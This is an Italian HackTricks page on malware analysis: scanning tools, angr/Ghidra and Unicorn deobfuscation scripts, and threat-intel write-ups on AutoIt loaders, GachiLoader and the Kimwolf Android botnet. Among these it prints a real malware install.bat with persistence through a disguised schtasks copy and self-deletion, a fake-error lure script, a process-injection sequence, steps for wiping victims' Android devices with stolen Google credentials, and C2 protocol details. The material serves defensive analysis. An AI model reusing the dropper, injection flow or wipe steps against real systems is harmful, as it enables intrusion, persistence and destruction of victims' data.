Analisi del Malware
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Cheat sheet di informatica forense
https://www.jaiminton.com/cheatsheet/DFIR/#
Servizi online
Strumenti offline per antivirus e rilevamento
Yara
Installazione
sudo apt-get install -y yara
Preparare le regole
Usa questo script per scaricare e unire tutte le regole yara per malware da github: https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9
Crea la directory rules ed esegui lo script. Questo creerà un file chiamato malware_rules.yar che contiene tutte le regole yara per malware.
wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py
mkdir rules
python malware_yara_rules.py
Scan
yara -w malware_rules.yar image #Scan 1 file
yara -w malware_rules.yar folder #Scan the whole folder
YaraGen: Controllare la presenza di malware e creare regole
Puoi usare lo strumento YaraGen per generare yara rules da un binario. Consulta questi tutorial: Part 1, Part 2, Part 3
python3 yarGen.py --update
python3.exe yarGen.py --excludegood -m ../../mals/
ClamAV
Installazione
sudo apt-get install -y clamav
Scansione
sudo freshclam #Update rules
clamscan filepath #Scan 1 file
clamscan folderpath #Scan the whole folder
Capa
Capa rileva potenzialmente capabilities malevole in eseguibili: PE, ELF, .NET. Quindi troverà elementi come Att&ck tactics, o capabilities sospette come:
- verifica errori di OutputDebugString
- eseguire come servizio
- creare processo
Scaricalo nel Github repo.
IOCs
IOC significa Indicator Of Compromise. Un IOC è un insieme di condizioni che identificano alcuni software potenzialmente indesiderati o confermati malware. Blue Teams usano questo tipo di definizione per cercare questo tipo di file malevoli nei loro sistemi e networks.
Condividere queste definizioni è molto utile: quando il malware viene identificato su un computer e viene creato un IOC per quel malware, altre Blue Teams possono usarlo per identificare il malware più velocemente.
Uno strumento per creare o modificare gli IOC è IOC Editor.
Puoi usare strumenti come Redline per cercare IOCs definiti su un dispositivo.
Loki
Loki è uno scanner per Simple Indicators of Compromise.
La rilevazione si basa su quattro metodi di detection:
1. File Name IOC
Regex match on full file path/name
2. Yara Rule Check
Yara signature matches on file data and process memory
3. Hash Check
Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files
4. C2 Back Connect Check
Compares process connection endpoints with C2 IOCs (new since version v.10)
Linux Malware Detect
Linux Malware Detect (LMD) è uno scanner malware per Linux rilasciato sotto la licenza GNU GPLv2, progettato attorno alle minacce affrontate negli ambienti di hosting condiviso. Utilizza dati sulle minacce provenienti da network edge intrusion detection systems per estrarre malware attivamente usati negli attacchi e genera firme per la rilevazione. Inoltre, i dati sulle minacce sono ricavati anche dalle segnalazioni degli utenti tramite la LMD checkout feature e dalle risorse della community di malware.
rkhunter
Strumenti come rkhunter possono essere utilizzati per controllare il filesystem alla ricerca di possibili rootkits e malware.
sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--skip-keypress]
FLOSS
FLOSS è uno strumento che cercherà di trovare stringhe offuscate all’interno di eseguibili usando diverse tecniche.
PEpper
PEpper controlla alcune cose di base all’interno dell’eseguibile (binary data, entropy, URLs and IPs, some yara rules).
PEstudio
PEstudio è uno strumento che permette di ottenere informazioni sugli eseguibili Windows come imports, exports, headers, ma controllerà anche virus total e individuerà potenziali Att&ck techniques.
Detect It Easy(DiE)
DiE è uno strumento per rilevare se un file è encrypted e anche trovare packers.
NeoPI
NeoPI is uno script Python che usa una varietà di statistical methods per rilevare contenuti obfuscated e encrypted all’interno di file di testo/script. Lo scopo previsto di NeoPI è aiutare nella detection of hidden web shell code.
php-malware-finder
PHP-malware-finder fa del suo meglio per rilevare obfuscated/dodgy code così come file che usano funzioni PHP spesso usate in malwares/webshells.
Apple Binary Signatures
Quando si controlla un malware sample dovresti sempre check the signature del binary poiché il developer che l’ha firmato potrebbe già essere related al malware.
#Get signer
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
#Check if the app’s contents have been modified
codesign --verify --verbose /Applications/Safari.app
#Check if the signature is valid
spctl --assess --verbose /Applications/Safari.app
Tecniche di rilevamento
File Stacking
Se sai che una cartella contenente i files di un web server è stata ultima aggiornata in una certa data, controlla la data in cui tutti i files nel web server sono stati creati e modificati e, se qualche data è sospetta, esamina quel file.
Baselines
Se i file di una cartella non avrebbero dovuto essere modificati, puoi calcolare l’hash dei file originali della cartella e confrontarlo con quelli attuali. Qualsiasi elemento modificato sarà sospetto.
Statistical Analysis
Quando le informazioni sono salvate nei log puoi controllare statistiche come quante volte ogni file di un web server è stato accesso, poiché una web shell potrebbe essere tra i più accessi.
Telemetria nativa in-app Android (no root)
Su Android, puoi strumentare il codice nativo all’interno del processo dell’app target precaricando una piccola libreria di logging prima che le altre librerie JNI si inizializzino. Questo fornisce visibilità precoce sul comportamento nativo senza hook a livello di sistema o root. Un approccio popolare è SoTap: inserire libsotap.so per l’ABI corretta nell’APK e iniettare una chiamata System.loadLibrary(“sotap”) in anticipo (es., static initializer o Application.onCreate), poi raccogliere i log da percorsi interni/esterni o tramite fallback su Logcat.
See the Android native reversing page for setup details and log paths:
Android/JNI native string deobfuscation with angr + Ghidra
Alcuni malware Android e app protette RASP nascondono i nomi e le signature dei metodi JNI decodificandoli a runtime prima di chiamare RegisterNatives. Quando l’instrumentation con Frida/ptrace viene interrotta da anti-debug, puoi comunque recuperare il plaintext offline eseguendo il decoder interno al binario con angr e poi inserendo i risultati in Ghidra come commenti.
Idea chiave: trattare il decoder dentro il .so come una funzione invocabile, eseguirlo sui blob di byte offuscati in .rodata e concretizzare i byte di output fino al primo \x00 (terminatore C-string). Mantieni angr e Ghidra con la stessa image base per evitare discrepanze di indirizzo.
Workflow overview
- Triage in Ghidra: identifica il decoder e la sua calling convention/argomenti in JNI_OnLoad e nella configurazione di RegisterNatives.
- Run angr (CPython3) per eseguire il decoder per ogni stringa target e dumpare i risultati.
- Annotate in Ghidra: auto-commenta le stringhe decodificate in ogni call site per una rapida ricostruzione JNI.
Ghidra triage (JNI_OnLoad pattern)
- Applica i JNI datatypes a JNI_OnLoad in modo che Ghidra riconosca le strutture JNINativeMethod.
- Typical JNINativeMethod per Oracle docs:
typedef struct {
char *name; // e.g., "nativeFoo"
char *signature; // e.g., "()V", "()[B"
void *fnPtr; // native implementation address
} JNINativeMethod;
- Cerca chiamate a RegisterNatives. Se la libreria costruisce name/signature con una routine locale (es., FUN_00100e10) che fa riferimento a una tabella statica di byte (es., DAT_00100bf4) e prende parametri come (encoded_ptr, out_buf, length), quello è un obiettivo ideale per l’esecuzione offline.
angr setup (execute the decoder offline)
- Load the .so with the same base used in Ghidra (example: 0x00100000) and disable auto-loading of external libs to keep the state small.
Configurazione angr ed esecuzione offline del decoder
```python import angr, jsonproject = angr.Project( ‘/path/to/libtarget.so’, load_options={‘main_opts’: {‘base_addr’: 0x00100000}}, auto_load_libs=False, )
ENCODING_FUNC_ADDR = 0x00100e10 # decoder function discovered in Ghidra
def decode_string(enc_addr, length):
fresh blank state per evaluation
st = project.factory.blank_state() outbuf = st.heap.allocate(length) call = project.factory.callable(ENCODING_FUNC_ADDR, base_state=st) ret_ptr = call(enc_addr, outbuf, length) # returns outbuf pointer rs = call.result_state raw = rs.solver.eval(rs.memory.load(ret_ptr, length), cast_to=bytes) return raw.split(b’\x00’, 1)[0].decode(‘utf-8’, errors=‘ignore’)
Example: decode a JNI signature at 0x100933 of length 5 → should be ()[B
print(decode_string(0x00100933, 5))
</details>
- Su larga scala, costruisci una mappa statica dei call sites agli argomenti del decoder (encoded_ptr, size). I Wrappers possono nascondere gli argomenti, quindi puoi creare questa mappatura manualmente dagli xrefs di Ghidra se il recupero dell'API è impreciso.
<details>
<summary>Decodifica in batch multiple call sites con angr</summary>
```python
# call_site -> (encoded_addr, size)
call_site_args_map = {
0x00100f8c: (0x00100b81, 0x41),
0x00100fa8: (0x00100bca, 0x04),
0x00100fcc: (0x001007a0, 0x41),
0x00100fe8: (0x00100933, 0x05),
0x0010100c: (0x00100c62, 0x41),
0x00101028: (0x00100c15, 0x16),
0x00101050: (0x00100a49, 0x101),
0x00100cf4: (0x00100821, 0x11),
0x00101170: (0x00100940, 0x101),
0x001011cc: (0x0010084e, 0x13),
0x00101334: (0x001007e9, 0x0f),
0x00101478: (0x0010087d, 0x15),
0x001014f8: (0x00100800, 0x19),
0x001015e8: (0x001008e6, 0x27),
0x0010160c: (0x00100c33, 0x13),
}
decoded_map = { hex(cs): decode_string(enc, sz)
for cs, (enc, sz) in call_site_args_map.items() }
import json
print(json.dumps(decoded_map, indent=2))
with open('decoded_strings.json', 'w') as f:
json.dump(decoded_map, f, indent=2)
Annota i siti di chiamata in Ghidra Opzione A: scrittore di commenti solo Jython (usa un JSON pre-calcolato)
- Poiché angr richiede CPython3, mantieni separate deobfuscazione e annotazione. Prima esegui lo script angr sopra per produrre decoded_strings.json. Poi esegui questo GhidraScript Jython per scrivere PRE_COMMENTs ad ogni sito di chiamata (e includere il nome della funzione chiamante per fornire il contesto):
Ghidra Jython script per annotare le stringhe JNI decodificate
```python #@category Android/Deobfuscation # Jython in Ghidra 10/11 import json from ghidra.program.model.listing import CodeUnitAsk for the JSON produced by the angr script
f = askFile(‘Select decoded_strings.json’, ‘Load’) mapping = json.load(open(f.absolutePath, ‘r’)) # keys as hex strings
fm = currentProgram.getFunctionManager() rm = currentProgram.getReferenceManager()
Replace with your decoder address to locate call-xrefs (optional)
ENCODING_FUNC_ADDR = 0x00100e10 enc_addr = toAddr(ENCODING_FUNC_ADDR)
callsite_to_fn = {} for ref in rm.getReferencesTo(enc_addr): if ref.getReferenceType().isCall(): from_addr = ref.getFromAddress() fn = fm.getFunctionContaining(from_addr) if fn: callsite_to_fn[from_addr.getOffset()] = fn.getName()
Write comments from JSON
for k_hex, s in mapping.items(): cs = int(k_hex, 16) site = toAddr(cs) caller = callsite_to_fn.get(cs, None) text = s if caller is None else ‘%s @ %s’ % (s, caller) currentProgram.getListing().setComment(site, CodeUnit.PRE_COMMENT, text) print(‘[+] Annotated %d call sites’ % len(mapping))
</details>
Opzione B: Singolo script CPython via pyhidra/ghidra_bridge
- In alternativa, usa pyhidra o ghidra_bridge per pilotare l'API di Ghidra dallo stesso processo CPython che esegue angr. Questo permette di chiamare decode_string() e impostare immediatamente PRE_COMMENTs senza un file intermedio. La logica rispecchia lo script Jython: costruire una mappa callsite→function tramite ReferenceManager, decodificare con angr e impostare i commenti.
Perché questo funziona e quando usarlo
- L'esecuzione offline evita RASP/anti-debug: nessun ptrace, nessun hook Frida richiesto per recuperare le stringhe.
- Mantenere Ghidra e angr base_addr allineati (es., 0x00100000) garantisce che gli indirizzi di funzione/dati corrispondano tra gli strumenti.
- Procedura ripetibile per i decoder: trattare la trasformazione come una funzione pura, allocare un buffer di output in uno stato nuovo, chiamarla con (encoded_ptr, out_ptr, len), quindi concretizzare tramite state.solver.eval e parsare C-strings fino a \x00.
Note e insidie
- Rispettare l'ABI/calling convention target. angr.factory.callable ne sceglie una basata su arch; se gli argomenti sembrano spostati, specificare cc esplicitamente.
- Se il decoder si aspetta buffer di output azzerati, inizializzare outbuf con zeri nello stato prima della chiamata.
- Per .so Android position-independent, fornire sempre base_addr in modo che gli indirizzi in angr corrispondano a quelli visti in Ghidra.
- Usare currentProgram.getReferenceManager() per enumerare call-xrefs anche se l'app avvolge il decoder dietro stub sottili.
Per le basi di angr, vedi: [angr basics](../../reversing/reversing-tools-basic-methods/angr/README.md)
---
## Deobfuscating Dynamic Control-Flow (JMP/CALL RAX Dispatchers)
Le famiglie di malware moderne abusano pesantemente dell'offuscamento del Control-Flow Graph (CFG): invece di un jump/call diretto calcolano la destinazione a runtime ed eseguono un `jmp rax` o `call rax`. Un piccolo *dispatcher* (tipicamente nove istruzioni) imposta il target finale in base ai flag CPU `ZF`/`CF`, rompendo completamente il recupero statico del CFG.
La tecnica — mostrata dal loader SLOW#TEMPEST — può essere sconfitta con un flusso di lavoro in tre passi che si basa solo su IDAPython e l'emulatore CPU Unicorn.
### 1. Individua ogni jump / call indiretto
```python
import idautils, idc
for ea in idautils.FunctionItems(idc.here()):
mnem = idc.print_insn_mnem(ea)
if mnem in ("jmp", "call") and idc.print_operand(ea, 0) == "rax":
print(f"[+] Dispatcher found @ {ea:X}")
2. Estrarre il byte-code del dispatcher
import idc
def get_dispatcher_start(jmp_ea, count=9):
s = jmp_ea
for _ in range(count):
s = idc.prev_head(s, 0)
return s
start = get_dispatcher_start(jmp_ea)
size = jmp_ea + idc.get_item_size(jmp_ea) - start
code = idc.get_bytes(start, size)
open(f"{start:X}.bin", "wb").write(code)
3. Emularlo due volte con Unicorn
from unicorn import *
from unicorn.x86_const import *
import struct
def run(code, zf=0, cf=0):
BASE = 0x1000
mu = Uc(UC_ARCH_X86, UC_MODE_64)
mu.mem_map(BASE, 0x1000)
mu.mem_write(BASE, code)
mu.reg_write(UC_X86_REG_RFLAGS, (zf << 6) | cf)
mu.reg_write(UC_X86_REG_RAX, 0)
mu.emu_start(BASE, BASE+len(code))
return mu.reg_read(UC_X86_REG_RAX)
Esegui run(code,0,0) e run(code,1,1) per ottenere le destinazioni dei rami false e true.
4. Ripristinare un direct jump / call
import struct, ida_bytes
def patch_direct(ea, target, is_call=False):
op = 0xE8 if is_call else 0xE9 # CALL rel32 or JMP rel32
disp = target - (ea + 5) & 0xFFFFFFFF
ida_bytes.patch_bytes(ea, bytes([op]) + struct.pack('<I', disp))
Dopo patching, forzare IDA a rianalizzare la funzione in modo che il CFG completo e l’output di Hex-Rays vengano ripristinati:
import ida_auto, idaapi
idaapi.reanalyze_function(idc.get_func_attr(ea, idc.FUNCATTR_START))
5. Etichettare le chiamate API indirette
Una volta conosciuta la destinazione reale di ogni call rax, puoi dire a IDA quale sia in modo che i tipi dei parametri e i nomi delle variabili vengano recuperati automaticamente:
idc.set_callee_name(call_ea, resolved_addr, 0) # IDA 8.3+
Vantaggi pratici
- Ripristina il vero CFG → la decompilazione passa da 10 righe a migliaia.
- Abilita string-cross-reference & xrefs, rendendo la ricostruzione del comportamento banale.
- Gli script sono riutilizzabili: inserirli in qualsiasi loader protetto dallo stesso trucco.
Loader basati su AutoIt: .a3x decryption, Task Scheduler masquerade and RAT injection
Questo pattern di intrusione concatena un MSI firmato, loader AutoIt compilati in .a3x e un job di Task Scheduler che si maschera da app legittima.
MSI → custom actions → AutoIt orchestrator
Albero dei processi e comandi eseguiti dalle custom actions del MSI:
- MsiExec.exe → cmd.exe per eseguire install.bat
- WScript.exe per mostrare un dialogo di errore fittizio
%SystemRoot%\system32\cmd.exe /c %APPDATA%\스트레스 클리어\install.bat
%SystemRoot%\System32\WScript.exe %APPDATA%\스트레스 클리어\error.vbs
install.bat (drops loader, sets persistence, self-cleans):
@echo off
set dr=Music
copy "%~dp0AutoIt3.exe" %public%\%dr%\AutoIt3.exe
copy "%~dp0IoKlTr.au3" %public%\%dr%\IoKlTr.au3
cd /d %public%\%dr% & copy c:\windows\system32\schtasks.exe hwpviewer.exe ^
& hwpviewer /delete /tn "IoKlTr" /f ^
& hwpviewer /create /sc minute /mo 1 /tn "IoKlTr" /tr "%public%\%dr%\AutoIt3.exe %public%\%dr%\IoKlTr.au3"
del /f /q "%~dp0AutoIt3.exe"
del /f /q "%~dp0IoKlTr.au3"
del /f /q "%~f0"
error.vbs (esca per l’utente):
MsgBox "현재 시스템 언어팩과 프로그램 언어팩이 호환되지 않아 실행할 수 없습니다." & vbCrLf & _
"설정에서 한국어(대한민국) 언어팩을 설치하거나 변경한 뒤 다시 실행해 주세요.", _
vbCritical, "언어팩 오류"
Artefatti chiave e mascheramento:
- Drops AutoIt3.exe and IoKlTr.au3 to C:\Users\Public\Music
- Copies schtasks.exe to hwpviewer.exe (mascherades as Hangul Word Processor viewer)
- Creates a scheduled task “IoKlTr” that runs every 1 minute
- Startup LNK seen as Smart_Web.lnk; mutex:
Global\AB732E15-D8DD-87A1-7464-CE6698819E701 - Stages modules under %APPDATA%\Google\Browser\ subfolders containing
adboradvand starts them via autoit.vbs/install.bat helpers
Suggerimenti per la triage forense:
- schtasks enumeration:
schtasks /query /fo LIST /v | findstr /i "IoKlTr hwpviewer" - Look for renamed copies of schtasks.exe co-located with Task XML:
dir /a "C:\Users\Public\Music\hwpviewer.exe" - Common paths:
C:\Users\Public\Music\AutoIt3.exe,...\IoKlTr.au3, StartupSmart_Web.lnk,%APPDATA%\Google\Browser\(adb|adv)* - Correlate process creation: AutoIt3.exe spawning legitimate Windows binaries (e.g., cleanmgr.exe, hncfinder.exe)
Caricatori AutoIt e decrittazione dei payload .a3x → iniezione
- AutoIt modules are compiled with
#AutoIt3Wrapper_Outfile_type=a3xand decrypt embedded payloads before injecting into benign processes. - Observed families: QuasarRAT (injected into hncfinder.exe) and RftRAT/RFTServer (injected into cleanmgr.exe), as well as RemcosRAT modules (
Remcos\RunBinary.a3x). - Decryption pattern: derive an AES key via HMAC, decrypt the embedded blob, then inject the plaintext module.
Schema generico di decrittazione (l’input/algoritmo HMAC esatto è specifico della famiglia):
import hmac, hashlib
from Crypto.Cipher import AES
def derive_aes_key(secret: bytes, data: bytes) -> bytes:
# Example: HMAC-SHA256 → first 16/32 bytes as AES key
return hmac.new(secret, data, hashlib.sha256).digest()
def aes_decrypt_cbc(key: bytes, iv: bytes, ct: bytes) -> bytes:
return AES.new(key, AES.MODE_CBC, iv=iv).decrypt(ct)
Flusso di injection comune (CreateRemoteThread-style):
- CreateProcess (suspended) del processo di destinazione (ad es. cleanmgr.exe)
- VirtualAllocEx + WriteProcessMemory con modulo/shellcode decrittato
- CreateRemoteThread o QueueUserAPC per eseguire il payload
Idee per l’hunting
- AutoIt3.exe avviato da MsiExec.exe o WScript.exe che lancia utility di sistema
- File con estensione
.a3xo AutoIt script runners in percorsi pubblici/scrivibili dall’utente - Attività pianificate sospette che eseguono AutoIt3.exe o binari non firmati da Microsoft, con trigger a livello di minuti
Abuso di account takeover di Android Find My Device (Find Hub)
Durante l’intrusione su Windows, gli operatori hanno usato credenziali Google rubate per cancellare ripetutamente i dispositivi Android della vittima, sopprimendo le notifiche mentre ampliavano l’accesso tramite il messenger desktop della vittima connesso.
Passaggi dell’operatore (da una sessione del browser autenticata):
- Controllare Google Account → Security → Your devices; seguire Find My Phone → Find Hub (https://www.google.com/android/find)
- Selezionare il dispositivo → reinserire la password Google → eseguire “Erase device” (factory reset); ripetere per ritardare il recupero
- Facoltativo: cancellare le e-mail di avviso nella casella di posta collegata (es., Naver) per nascondere le notifiche di sicurezza
Tracciamento di loader Node.js pesantemente offuscati
Gli attaccanti sempre più spesso incorporano loader JavaScript dentro binari Windows standalone compilati con nexe, così il runtime viene distribuito insieme allo script. Il PE risultante spesso pesa 60–90 MB ed esegue anche se Node.js non è installato. Durante la fase di triage:
- Usare
nexe_unpackerper estrarre il JavaScript incorporato dal PE e fornirlo agli strumenti locali per il static diffing. - Aspettarsi un mutex basato su disco in
%TEMP%(GachiLoader lascia un file random<name>.lockche scade dopo ~5 minutes). Copiare il file nella sandbox prima dell’esecuzione permette di saltare fasi ridondanti pur vedendo i payload successivi.
Node.js API tracing to defeat anti-analysis
Check Point’s Nodejs-Tracer aggancia i moduli core all’interno di qualsiasi processo Node.js, permette di spoofare probe anti-VM e preserva ogni artefatto che il sample scrive. Lanciare script offuscati tramite il tracer per mantenere la strumentazione controllata dall’analista nello stack delle chiamate:
node -r .\tracer.js main.js
Le principali opzioni di configurazione in tracer.js permettono di:
- Log filesystem, child-process, and HTTP activity (
LOG_HTTP_REQUESTS,SAVE_FILE_WRITES). Every dropped file—such askidkadi.node—is copied to the working directory before the malware deletes it. - Sovrascrivere i fingerprint dell’ambiente restituendo conteggi RAM/CPU realistici, falsificando
tasklistoutput, e manomettendo le risposte PowerShell/WMI. Questo aggira loader che richiedono ≥4 GB RAM, ≥2 cores, e che scrutinano user names (mashinesssss,wdagutilityaccount, etc.), hostnames (desktop-vrsqlag,server1…), e process names (vmtoolsd.exe,fiddler.exe,x64dbg.exe,frida-server.exe). - Neutralizzare i controlli hardware WMI come
Get-WmiObject Win32_DiskDrive(che cercanovmware,kvm,virtio, …),Win32_VideoController(bloccando “VirtualBox Graphics Adapter”, “Hyper-V Video”, etc.) e i conteggi diWin32_PortConnector. Quando quelle sonde riportano hardware “reale”, le sandbox non finiscono più nel loop infinito di benignInvoke-WebRequestcalls versolinkedin.com,grok.com,whatsapp.com, e domini simili che GachiLoader usa per sprecare tempo di analisi.
Capturing gated C2 traffic automatically
The tracer’s network hooks reveal multi-layer C2 authentication without reversing the JavaScript obfuscation. In the observed campaign the loader:
- POSTs host telemetry to
/logon each hard-coded C2. - Issues
GET /richfamily/<per-sample key>withX-Secret: gachifamilyto retrieve a Base64-encoded payload URL. - Performs a final
GETto that URL with a long per-sampleX-Secretheader; missing it returns403 Forbidden.
Because the tracer records complete requests (headers, bodies, destinations), you can replay the same traffic to pull payloads, dump Themida/VMProtect shells in memory, and extract Rhadamanthys configuration data at scale.
AdaptixC2: Configuration Extraction and TTPs
See the dedicated page:
Adaptixc2 Config Extraction And Ttps
Kimwolf Android Botnet Tradecraft
APK loader & native ELF execution on TV boxes
- Malicious APKs such as
com.n2.systemservice06*ship a statically linked ARM ELF insideres/raw(e.g.R.raw.libniggakernel). ABOOT_COMPLETEDreceiver runs at startup, extracts the raw resource to the app sandbox (e.g./data/data/<pkg>/niggakernel), makes it executable and invokes it withsu. - Many Android TV boxes/tablets ship pre-rooted images or world-writable
su, so the loader reliably boots the ELF with UID 0 even without an exploit chain. Persistence comes “for free” because the receiver relaunches after every reboot or app restart. - Reverse engineers hunting for this pattern can diff
AndroidManifest.xmlfor hidden boot receivers plus code that referencesResources.openRawResource→FileOutputStream→Runtime.getRuntime().exec("su"). Once the ELF is dropped, triage it as a Linux userland backdoor (Kimwolf is UPX-packed, stripped, statically linked, 32-bit ARM EABI5).
Runtime mutexes & masquerading IOCs
- Upon start, Kimwolf binds an abstract UNIX domain socket such as
@niggaboxv4/@niggaboxv5. Existing sockets force an exit, so the socket name works as both a mutex and a forensic artifact. - The process title is overwritten with service-looking names (
netd_services,tv_helper, etc.) to blend into Android process listings. Host-based detections can alert on these names combined with the mutex socket.
Stack XOR string decoding with ARM NEON + flare_emu
- Sensitive strings (C2 domains, resolvers, DoT endpoints) are pushed onto the stack in encrypted 8-byte blocks and decoded in-place via
VEOR Qx, Qx, Qy(veorq_s64). Analysts can script flare_emu to catch the decrypted pointer each time the decryptor hands it to the caller:
import flare_emu
eh = flare_emu.EmuHelper()
def hook(eh, addr, argv, _):
if eh.isValidEmuPtr(argv[1]):
print(hex(addr), eh.getEmuString(argv[1]))
eh.iterate(0x8F00, hook) # sub_8F00 consumes the plaintext R1 argument
- Searching for
VEOR Q8, Q8, Q9/veorq_s64sequences and emulating their ranges mass-dumps every decrypted string, bypassing the stack-only lifetime of the plaintext.
DNS-over-TLS resolution plus XOR IP derivation
- Tutte le varianti di Kimwolf risolvono i domini C2 parlando DNS-over-TLS (TCP/853) direttamente con Google (8.8.8.8) o Cloudflare (1.1.1.1), eludendo i normali log DNS o il hijacking.
- I bot v4 usano semplicemente il record A IPv4 restituito. I bot v5 trattano il record A come un intero a 32 bit, ne scambiano l’endianness, lo XORano con la costante
0x00ce0491, poi ri-ricambiano l’endianness per ottenere il vero IP C2. CyberChef recipe: Change IP format → swap endianness per 4-byte chunk → XOR with00 ce 04 91→ convert back to dotted decimal.
ENS / EtherHiding fallback
- Le build successive aggiungono un dominio ENS (
pawsatyou.eth) il cui resolver text key"lol"memorizza un IPv6 dall’aspetto benigno (fed0:5dec:...:1be7:8599). - Il bot prende gli ultimi quattro byte (
1b e7 85 99), li XORa con0x93141715e interpreta il risultato come un IPv4 C2 (136.243.146.140). Aggiornando il record di testo ENS si ruotano istantaneamente i C2 a valle tramite la blockchain senza toccare il DNS.
TLS + ECDSA authenticated command channel
- Il traffico è incapsulato in wolfSSL con un protocollo framed personalizzato:
struct Header {
Magic [4]byte // e.g. "DPRK", "FD9177FF", "AD216CD4"
Reserved uint8 // 0x01
MsgType uint8 // verb
MsgID uint32
BodyLen uint32
CRC32 uint32
}
- Bootstrap: il bot invia due header vuoti
MsgType=0 (register). Il C2 risponde conMsgType=1 (verify)contenente una challenge casuale più una firma ASN.1 DER ECDSA. I bot la verificano contro un blob SubjectPublicKeyInfo incorporato; i fallimenti terminano la sessione, impedendo a nodi C2 dirottati/sinkholed di impartire task alla fleet. - Una volta verificato, il bot invia un corpo
MsgType=0contenente la group string definita dall’operatore (es.android-postboot-rt). Se il group è abilitato, il C2 risponde conMsgType=2 (confirm), dopo di che inizia il tasking (MsgType 5–12). - I verbi supportati includono SOCKS-style TCP/UDP proxying (residential proxy monetization), reverse shell / single command exec, file read/write, e payload Mirai-compatible DDoSBody (same
AtkType,Duration,Targets[],Flags[]layout).
Riferimenti
- Unit42 – Evolving Tactics of SLOW#TEMPEST: A Deep Dive Into Advanced Malware Techniques
- SoTap: Lightweight in-app JNI (.so) behavior logger – github.com/RezaArbabBot/SoTap
- Strategies for Analyzing Native Code in Android Applications: Combining Ghidra and Symbolic Execution for Code Decryption and Deobfuscation – revflash.medium.com
- Ghidra – github.com/NationalSecurityAgency/ghidra
- angr – angr.io
- JNI_OnLoad and invocation API – docs.oracle.com
- RegisterNatives – docs.oracle.com
- Tracing JNI Functions – valsamaras.medium.com
- Native Enrich: Scripting Ghidra and Frida to discover hidden JNI functions – laripping.com
- Unit42 – AdaptixC2: A New Open-Source Framework Leveraged in Real-World Attacks
- KONNI-linked APT abuses Google Find Hub to wipe Android devices after Windows intrusion – genians.co.kr
- Android Find My Device (Find Hub) – google.com/android/find
- RftRAT/RFTServer technical analysis – asec.ahnlab.com
- HMAC background – wikipedia.org/wiki/HMAC
- Kimwolf Android TV Botnet: ENS-Based C2 Evasion, TLS+ECDSA C2 Protocol, and Large-Scale Proxy/DDoS Operations – blog.xlab.qianxin.com
- Check Point Research – GachiLoader: Defeating Node.js Malware with API Tracing
- Nodejs-Tracer – GitHub
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
HackTricks

